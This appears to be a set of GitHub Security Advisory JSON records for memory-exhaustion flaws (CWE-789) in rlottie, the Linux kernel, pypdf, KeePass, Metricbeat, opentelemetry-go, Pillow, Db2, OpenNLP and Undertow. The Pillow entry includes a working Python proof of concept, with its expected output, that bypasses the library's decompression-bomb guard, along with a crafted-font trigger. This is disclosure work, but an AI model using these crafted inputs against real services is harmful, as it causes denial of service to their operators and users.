CWE-789

{
  "affected": [],
  "aliases": [
    "CVE-2026-47319"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-04T10:16:39Z",
    "severity": "MODERATE"
  },
  "details": "Memory allocation with excessive size value vulnerability in Samsung Open Source rlottie allows Excessive Allocation.\n\nThis issue affects rlottie: before 0b4e308fa88c72cbb60cc8a2c1d2c2ad89b101dd.",
  "id": "GHSA-5j7g-c464-cj57",
  "modified": "2026-06-04T12:30:25Z",
  "published": "2026-06-04T12:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47319"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Samsung/rlottie/pull/588"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-52429"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-754",
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-12T03:15:32Z",
    "severity": "MODERATE"
  },
  "details": "dm_table_create in drivers/md/dm-table.c in the Linux kernel through 6.7.4 can attempt to (in alloc_targets) allocate more than INT_MAX bytes, and crash, because of a missing check for struct dm_ioctl.target_count.",
  "id": "GHSA-5px6-hg9v-r927",
  "modified": "2025-11-04T21:31:07Z",
  "published": "2024-02-12T03:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52429"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=bd504bcfec41a503b32054da5472904b404341a4"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/3LZROQAX7Q7LEP4F7WQ3KUZKWCZGFFP2"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/GS7S3XLTLOUKBXV67LLFZWB3YVFJZHRK"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3LZROQAX7Q7LEP4F7WQ3KUZKWCZGFFP2"
    },
    {
      "type": "WEB",
      "url": "https://www.spinics.net/lists/dm-devel/msg56625.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pypdf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.14.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59938"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-23T15:06:58Z",
    "nvd_published_at": "2026-07-08T18:16:35Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires loading images where the declared size values are much too large compared to the actual data.\n\n### Patches\n\nThis has been fixed in [pypdf==6.14.0](https://github.com/py-pdf/pypdf/releases/tag/6.14.0).\n\n### Workarounds\n\nIf you cannot upgrade yet, consider applying the changes from PR [#3888](https://github.com/py-pdf/pypdf/pull/3888).",
  "id": "GHSA-5qjq-93h5-hrgp",
  "modified": "2026-07-23T15:06:58Z",
  "published": "2026-07-23T15:06:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-5qjq-93h5-hrgp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59938"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/pull/3888"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/commit/c64583be16b8e8763d8777075f8ecbf382014b7a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/py-pdf/pypdf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/releases/tag/6.14.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "pypdf: Possible large memory usage for wrong image dimensions"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-86776"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-09T10:22:33Z",
    "severity": "MODERATE"
  },
  "details": "KeePass versions 2.35 through 2.61.1 fail to validate KDBX header field sizes before memory allocation in the ReadHeaderField function. Attackers can craft a malicious KDBX file declaring excessive header field lengths to trigger allocation of gigabytes of memory, causing the application to consume resources and terminate.",
  "id": "GHSA-5r36-v86r-vm5x",
  "modified": "2026-09-09T12:32:11Z",
  "published": "2026-09-09T12:32:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86776"
    },
    {
      "type": "WEB",
      "url": "https://github.com/KSecur1ty/KDBX-Header-Size-Mirage-POC"
    },
    {
      "type": "WEB",
      "url": "https://keepass.info"
    },
    {
      "type": "WEB",
      "url": "https://keepass.info/download.html"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/keepass-2.35-through-2.61.1-memory-exhaustion-via-kdbx-header-field-size"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/elastic/beats/v7"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.0.0-alpha2.0.20260112100137-de072c4e371e"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26931"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T21:23:04Z",
    "nvd_published_at": "2026-03-19T17:16:23Z",
    "severity": "MODERATE"
  },
  "details": "Memory Allocation with Excessive Size Value (CWE-789) in the Prometheus remote_write HTTP handler in Metricbeat can lead Denial of Service via Excessive Allocation (CAPEC-130).",
  "id": "GHSA-5vrw-qjxw-89r5",
  "modified": "2026-03-19T21:23:04Z",
  "published": "2026-03-19T18:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26931"
    },
    {
      "type": "WEB",
      "url": "https://github.com/elastic/beats/commit/de072c4e371eafeb2a42d65b9ad513f666e4ffd7"
    },
    {
      "type": "WEB",
      "url": "https://discuss.elastic.co/t/metricbeat-8-19-13-9-2-5-security-update-esa-2026-09/385532"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/elastic/beats"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Metricbeat Allocates Memory with Excessive Size Value Leading to Denial of Service"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "go.opentelemetry.io/otel/baggage"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.41.0"
            },
            {
              "fixed": "1.42.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.41.0"
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "go.opentelemetry.io/otel/propagation"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.41.0"
            },
            {
              "fixed": "1.42.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.41.0"
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "go.opentelemetry.io/otel/baggage"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.43.0"
            },
            {
              "fixed": "1.44.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.43.0"
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "go.opentelemetry.io/otel/propagation"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.43.0"
            },
            {
              "fixed": "1.44.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.43.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41178"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-28T17:04:19Z",
    "nvd_published_at": "2026-06-04T16:16:37Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nhttps://github.com/open-telemetry/opentelemetry-go/pull/7880 removed raw-length rejection and it causes `Parse` to process arbitrarily large/invalid baggage headers and log errors, enabling DoS via oversized inputs.\n\n\n### Details\n\nThe commit removes the upfront baggage-string length check and the per-member size guard in parsing. `Parse` now walks the entire input with `strings.SplitSeq` and skips invalid members while continuing to process the rest. For very large or malformed `baggage` headers, the parser still fully tokenizes and percent-decodes each member, and errors are forwarded to the global error handler (default logging). This lets a remote client send oversized/invalid headers to trigger excessive CPU/memory work and potentially large log output before any size limit is enforced, creating a denial-of-service risk in services that do not already enforce strict header size limits.\n\nSummary:\n- In `baggage/baggage.go`, `parseMember` performs full parsing and `PathUnescape` on the entire member without any size guard, amplifying work for large inputs. `Parse` no longer checks bStr length and continues processing invalid members, so oversized/invalid headers are fully parsed instead of being rejected early.\n- In `propagation/baggage.go`, parsing errors from attacker-controlled headers are sent to the global error handler (default logging), which can amplify oversized-input impact.\n\n### PoC\n\n[baggage_dos_poc.tar.gz](https://github.com/user-attachments/files/26677819/baggage_dos_poc.tar.gz)\n\n### Impact\n\nThe issue is reachable through standard propagation parsing (in-scope) and can be exploited remotely to cause CPU/log amplification, but the impact is availability-only and bounded by transport header limits and configurable error handling, supporting a medium severity rather than high/critical.\n\n`baggage.Parse` iterates over all list members with `strings.SplitSeq` and skips invalid members while continuing, without a raw-length guard. `parseMember` performs full parsing and `PathUnescape` on each member, and `propagation.Baggage` forwards parsing errors to the global error handler, which logs by default. A remote client can therefore send oversized/invalid baggage headers that bypass the 8KB limit for valid members, causing extra CPU work and large log output, resulting in availability/log amplification in services that accept large headers and use the default handler.\n\nAssumptions:\n\n- An instrumented service uses the OpenTelemetry baggage propagator for inbound request parsing.\n- Attackers can send oversized or malformed baggage headers that pass the hosting server/proxy header size limits.\n- The default error handler is used or logs are otherwise emitted for parse errors.\n- Inbound request parsing with propagation.Baggage\n- Oversized/invalid baggage headers accepted by the HTTP/gRPC stack\n- Error handler not suppressing parse errors",
  "id": "GHSA-5wrp-cwcj-q835",
  "modified": "2026-06-09T11:53:08Z",
  "published": "2026-05-28T17:04:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-5wrp-cwcj-q835"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41178"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-go/pull/7880"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-telemetry/opentelemetry-go"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "opentelemetry-go\u0027s baggage parsing no longer caps raw header length"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54060"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:08:40Z",
    "nvd_published_at": "2026-07-06T19:17:08Z",
    "severity": "HIGH"
  },
  "details": "## Description\n\n`PIL/FontFile.py` `FontFile.compile()` assembles per-glyph images into a single combined bitmap using `Image.new(\"1\", (xsize, ysize))` without calling `Image._decompression_bomb_check()`. This is the base-class method shared by both `BdfFontFile` and `PcfFontFile`, and it is triggered whenever a loaded font is converted to an `ImageFont` or saved.\n\nNeither `BdfFontFile.BdfFontFile(fp)` nor `PcfFontFile.PcfFontFile(fp)` is registered with `Image.register_open()`, so Pillow\u0027s standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation \u2014 and it has no check.\n\n**Vulnerable code (`PIL/FontFile.py` lines ~64\u201392):**\n\n```python\ndef compile(self) -\u003e None:\n    if self.bitmap:\n        return\n\n    h = w = maxwidth = 0\n    lines = 1\n    for glyph in self.glyph:              # up to 256 glyph slots\n        if glyph:\n            d, dst, src, im = glyph\n            h = max(h, src[3] - src[1])   # max glyph height \u2014 attacker-controlled\n            w = w + (src[2] - src[0])\n            if w \u003e WIDTH:                  # WIDTH = 800\n                lines += 1\n                w = src[2] - src[0]\n            maxwidth = max(maxwidth, w)\n\n    xsize = maxwidth                       # \u2264 800 (capped by WIDTH constant)\n    ysize = lines * h                      # \u2190 lines(256) \u00d7 h(65535) = 16,776,960\n\n    if xsize == 0 and ysize == 0:\n        return\n\n    self.ysize = h\n    # NO _decompression_bomb_check() here \u2190\n    self.bitmap = Image.new(\"1\", (xsize, ysize))   # \u2190 unchecked allocation\n```\n\n**\"Slow accumulation\" attack \u2014 per-glyph dimensions stay BELOW warning threshold:**\n\n| Metric | Per-glyph (800 \u00d7 875) | Combined bitmap (256 glyphs) |\n|---|---|---|\n| Pixel count | 700,000 | **179,200,000** |\n| DecompressionBombWarning threshold (89.4M) | 0.008\u00d7 \u2014 **no warning** | 2.0\u00d7 \u2014 above warning |\n| DecompressionBombError threshold (178.9M) | 0.004\u00d7 \u2014 **no error** | **1.001\u00d7 \u2014 above error** |\n\nWith PCF-maximum glyph height (65,535):\n\n| Metric | Value |\n|---|---|\n| lines | 256 (one per glyph slot, width=800 forces a wrap every glyph) |\n| h (max glyph height) | 65,535 |\n| xsize | 800 |\n| ysize = lines \u00d7 h | 256 \u00d7 65,535 = **16,776,960** |\n| **Total pixels** | 800 \u00d7 16,776,960 = **13,421,568,000** |\n| **Ratio vs. DecompressionBombError threshold** | **75\u00d7** |\n| Memory (mode \"1\", 1 bit/pixel) | **~1.6 GB** |\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: FontFile.compile() bomb bypass\n256 glyphs at 800x875 each (individually below warning threshold)\n\u2192 compile() creates 800x224000 = 179.2M px bitmap with NO bomb check\n\"\"\"\nfrom PIL import FontFile, Image\n\nMAX_GLYPHS = 256\nGLYPH_W    = 800\nGLYPH_H    = 875     # individual: 700K px \u2014 below 89.4M warning threshold\n\nclass MockFont(FontFile.FontFile):\n    def __init__(self):\n        super().__init__()\n        # Each glyph is individually safe (700K px \u003c 89.4M warning)\n        im = Image.new(\"1\", (GLYPH_W, GLYPH_H))\n        for i in range(MAX_GLYPHS):\n            self.glyph[i] = (\n                (GLYPH_W, GLYPH_H),\n                (0, -GLYPH_H, GLYPH_W, 0),\n                (0, 0,        GLYPH_W, GLYPH_H),\n                im,\n            )\n\n# Confirm bomb check WOULD catch the combined size\ncombined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H)\ntry:\n    Image._decompression_bomb_check(combined_size)\n    print(\"[FAIL] bomb check did not raise \u2014 unexpected\")\nexcept Image.DecompressionBombError as e:\n    print(f\"[OK] bomb check WOULD block {combined_size}: {e}\")\n\n# Vulnerable path: compile() has NO bomb check\nfont = MockFont()\nfont.compile()   # \u2192 Image.new(\"1\", (800, 224000)) \u2014 no error raised\n\npx = font.bitmap.size[0] * font.bitmap.size[1]\nthreshold = Image.MAX_IMAGE_PIXELS * 2\nprint(f\"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}\")\nprint(f\"         pixels={px:,}  ({px/threshold:.3f}\u00d7 DecompressionBombError threshold)\")\nprint(f\"         No DecompressionBombError raised at any point.\")\n```\n\n**Expected output:**\n```\n[OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit\nof 178956970 pixels, could be decompression bomb DOS attack.\n[BYPASS] compile() succeeded: bitmap=(800, 224000)\n         pixels=179,200,000  (1.001\u00d7 DecompressionBombError threshold)\n         No DecompressionBombError raised at any point.\n```\n\n**Verified live on Pillow 12.2.0 \u2014 compile() succeeds with no exception.**\n\n**Real-world trigger using BDF font file:**\n```python\nfrom PIL import BdfFontFile\nimport io\n\n# Load a crafted BDF font with 256 glyphs each claiming height=65535\n# (each glyph individually: 800 \u00d7 65535 = 52.4M px \u2014 below 89.4M warning)\n# compile() combined: 800 \u00d7 16,776,960 = 13.4B px \u2014 75\u00d7 error threshold\nfont = BdfFontFile.BdfFontFile(open(\"crafted_256glyph.bdf\", \"rb\"))\nfont.to_imagefont()   # \u2192 compile() \u2192 ~1.6 GB allocation, NO bomb check\n```\n\n**Attack scenarios:**\n\n| Scenario | Effect |\n|---|---|\n| Web font preview (`BdfFontFile(upload).to_imagefont()`) | DoS with crafted .bdf upload |\n| Server-side font renderer that loads PCF \u2192 `to_imagefont()` | OOM crash |\n| Font pipeline: load \u2192 render text | One malicious font file kills the process |\n\n## Impact\n\n- **Availability:** HIGH \u2014 `compile()` creates a combined bitmap whose pixel count scales as `WIDTH \u00d7 lines \u00d7 max_glyph_height` with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory.\n- **Confidentiality:** None\n- **Integrity:** None\n\n**Affected call paths:**\n- `BdfFontFile.BdfFontFile(fp).to_imagefont()` \u2192 `FontFile.compile()`\n- `BdfFontFile.BdfFontFile(fp).save(filename)` \u2192 `FontFile.compile()`\n- `PcfFontFile.PcfFontFile(fp).to_imagefont()` \u2192 `FontFile.compile()`\n- `PcfFontFile.PcfFontFile(fp).save(filename)` \u2192 `FontFile.compile()`\n\nNeither `BdfFontFile` nor `PcfFontFile` is loaded via `Image.open()`, so the standard decompression bomb guard is **entirely absent** from the font loading code path. `compile()` is the only point where the combined allocation size is known, and it has no check.\n\nConfirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08.",
  "id": "GHSA-5x94-69rx-g8h2",
  "modified": "2026-07-20T21:08:40Z",
  "published": "2026-07-20T21:08:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54060"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2254.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()`"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-41761"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-23T03:15:08Z",
    "severity": "MODERATE"
  },
  "details": "IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.5, 11.1, and 11.5 is vulnerable to a denial of service as the server may crash under certain conditions with a specially crafted query.",
  "id": "GHSA-655v-g44j-4fc7",
  "modified": "2024-11-23T03:31:59Z",
  "published": "2024-11-23T03:31:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41761"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7175947"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.opennlp:opennlp-tools"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.opennlp:opennlp-tools"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0-M1"
            },
            {
              "fixed": "3.0.0-M3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42440"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T17:54:23Z",
    "nvd_published_at": "2026-05-04T17:16:26Z",
    "severity": "HIGH"
  },
  "details": "OOM Denial of Service via Unbounded Array Allocation in Apache OpenNLP AbstractModelReader\u00a0\n\nVersions Affected:\u00a0\n\nBefore 2.5.9\n\nBefore 3.0.0-M3\u00a0\n\nDescription:\n\n\nThe AbstractModelReader methods getOutcomes(), getOutcomePatterns(), and getPredicates() each read a 32-bit signed integer count field from a binary model stream and pass that value directly to an array allocation (new String[numOutcomes], new int[numOCTypes][], new String[NUM_PREDS]) without validating that the value is non-negative or within a reasonable bound. The count is therefore fully attacker-controlled when the model file originates from an untrusted source.\n\n\nA crafted .bin model file in which any of these count fields is set to Integer.MAX_VALUE (or any value large enough to exhaust the available heap) triggers an OutOfMemoryError at the array allocation itself, before the corresponding label or pattern data is consumed from the stream. The error occurs very early in deserialization: for a GIS model, getOutcomes() is reached after only the model-type string, the correction constant, and the correction parameter have been read; so the attacker pays no meaningful size cost to weaponize a payload, and a single small file can crash a JVM that loads it. Any code path that deserializes a .bin model is affected, including direct use of GenericModelReader and any higher-level component that delegates to it during model load.\n\n\nThe practical impact is denial of service against processes that load model files from untrusted or semi-trusted origins.\u00a0\u00a0\n\n\nMitigation:\n\n\n\n  *  2.x users should upgrade to 2.5.9.\n\n  *  3.x users should upgrade to 3.0.0-M3.\n\n\n\n\nNote: The fix introduces an upper bound on each of the three count fields, checked before array allocation; counts that are negative or exceed the bound cause an IllegalArgumentException to be thrown and the read to fail fast with no large allocation. The default bound is 10,000,000, which is well above the entry counts of legitimate OpenNLP models but far below any value that would threaten heap exhaustion. Deployments that legitimately need to load models with more entries than the default can raise the limit at JVM startup by setting the OPENNLP_MAX_ENTRIES system property to the desired positive integer (e.g. -DOPENNLP_MAX_ENTRIES=50000000); invalid or non-positive values fall back to the default.\n\n\nUsers who cannot upgrade immediately should treat all .bin model files as untrusted input unless their provenance is verified, and should avoid loading models supplied by end users or fetched from third-party repositories without integrity checks.",
  "id": "GHSA-659w-93r5-9j6m",
  "modified": "2026-05-08T17:54:23Z",
  "published": "2026-05-04T18:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42440"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/opennlp"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/s8xlkx1gqbxfsq48py5h6jphjvgqp1jo"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/01/21"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache OpenNLP AbstractModelReader has an OOM Denial of Service via Unbounded Array Allocation"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.undertow:undertow-parent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.24.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-3223"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-09-27T20:16:42Z",
    "nvd_published_at": "2023-09-27T15:18:56Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in undertow. Servlets annotated with @MultipartConfig may cause an OutOfMemoryError due to large multipart content. This may allow unauthorized users to cause remote Denial of Service (DoS) attack. If the server uses fileSizeThreshold to limit the file size, it\u0027s possible to bypass the limit by setting the file name in the request to null.",
  "id": "GHSA-65h2-wf7m-q2v8",
  "modified": "2024-05-03T20:27:47Z",
  "published": "2023-09-27T15:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3223"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2023:4505"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2023:4506"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2023:4507"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2023:4509"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2023:4918"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2023:4919"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2023:4920"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2023:4921"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2023:4924"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2023:7247"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2023-3223"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2209689"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/undertow-io/undertow"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20231027-0004"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Undertow vulnerable to denial of service"
}